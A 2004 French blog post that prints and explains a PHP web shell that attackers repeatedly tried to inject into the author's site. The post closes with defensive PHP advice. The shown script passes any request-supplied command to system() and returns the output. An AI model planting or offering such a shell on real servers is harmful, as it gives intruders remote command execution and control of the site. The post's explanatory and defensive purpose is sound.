<(we)Blog\Flyounet.net>

Calendrier

« Août 2004 »
lun mar mer jeu ven sam dim
1
2345678
9101112131415
16171819202122
23242526272829
3031

Par Flyounet, le 18/08/2004 à 23:34:06

Depuis mon billet "Code Injection Proof", j'ai régulièrement des tentatives d'injection de code. Du coup, juste pour montrer et expliquer ce que faisait le code que l'on tentait de m'injecter, j'affiche le source.

<br><font face="arial" size="3">
 <center>
  <b>AlevirusS>C>S</b> - Systema Porco de  Comando AHUhaUHa<br><br>
 </center>
</font>
<font face="Arial"   size="2"></center><br>
<b>#</b> OINC CMD : <br>
<b>#</b> Created by : <b>Alguem Porco AUhAUHAUa</b><br>
<br>
<br>
<hr color="purple" width=751px height=115px>
<br>
<pre><font face="Verdana" size="2">
<?
  // CMD - To Execute Command on File Injection Bug ( gif - jpg - txt )
  if (isset($chdir)) @chdir($chdir);
  ob_start();
  system("$cmd 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm /tmp/cmdtemp");
  $output = ob_get_contents();
  ob_end_clean();
  if (!empty($output)) echo str_replace(">", "&gt;", str_replace("<", "&lt;", $output));
?>
</font></pre>
<br>
<hr color="purple" width=751px height=115px>
<br>
<font face="Verdana" size="3"><b>#AlevirusS>C>S</b><br>/j SCSul<br>

Commençons par le commencement, le fichier que l'injecteur tente d'injecter va produire du HTML d'une couleur bien spécifique[1]. Si le pavé qui est censé être bien visible ne se voit pas, alors l'injecteur tente d'autres variables.

Le principe du script est simple, si la variable $chdir est passée en argument, alors le script[2] se déplace dans le répertoire indiqué par cette variable. Dans tous les cas, le script tente de faire éxécuter au système la commande passée par la variable $cmd[3] en redirigeant le résultat vers un fichier qui est ensuite affiché[4]. Le reste n'est que mise en forme.

Donc que se passe-t-il si l'injecteur avait eu une réponse ? Eh bien tout dépend, de ce que votre hébergeur a configuré. Cela peut aller de la suppression de votre site, à la récupération totale de vos données, et même pire.

Le script est cependant d'un faible niveau puisqu'il ne prend pas en compte l'utilisation des Register_Global qui pourraient être sur OFF, ne permettant pas à son programme de fonctionner.

Donc, on ne le dira jamais assez lorsque vous développez en PHP ne cédez pas à la facilité, commencez par mettre la sécurité sur les Register_Global, continuez en utilisant la syntaxe error_reporting(E_ALL); en début de script. Puis suivant vos croyances utilisez le safe mode.

Notes

[1] Afin que le vil gredin puisse facilement identifier son forfait

[2] S'il est chargé bien sûr ^_-

[3] Dans le cas des tentatives précédement citées, il s'agissait de la commande id qui retourne les informations systèmes sur qui exécute le script

[4] Gestion laissé au fonction Output Control

vu: 2025x - Geek Attitude - Commentaire(s): 0

Déposez votre commentaires

Les propos tenus dans ces commentaires appartiennent à leur propriétaire.


Le code HTML dans le commentaire sera affiché comme du texte, les adresses internet seront converties automatiquement.

Votre commentaire ne sera validé que si vous répondez à la question suivante :

Firefox (Take Back the Web) :

Le bon choix

Rediscover the Web

Rechercher (sur Google)

Ma vie en images

Aller à la galerie de Flyounet

Colophon

© 2003-2008, Flyounet.

Nombre de billets : 416

Nombre de commentaires : 1363

Ce site respecte les standards :

Stats (ce site/cette page) Visites : 1540150/3256 | Pages vues : 4059268/3360 | Visiteur(s) : 1/1
Temps de génération de la page XHTML : 2.2977499961853s | SQL : 0.2384204864502s avec 14 requêtes
Hébergement: Dreamhost. Navigateur: Mozilla/FireFox. Voisins: GeoURL/MultiMap.
Vous touchez le fond !Aller en haut de la page.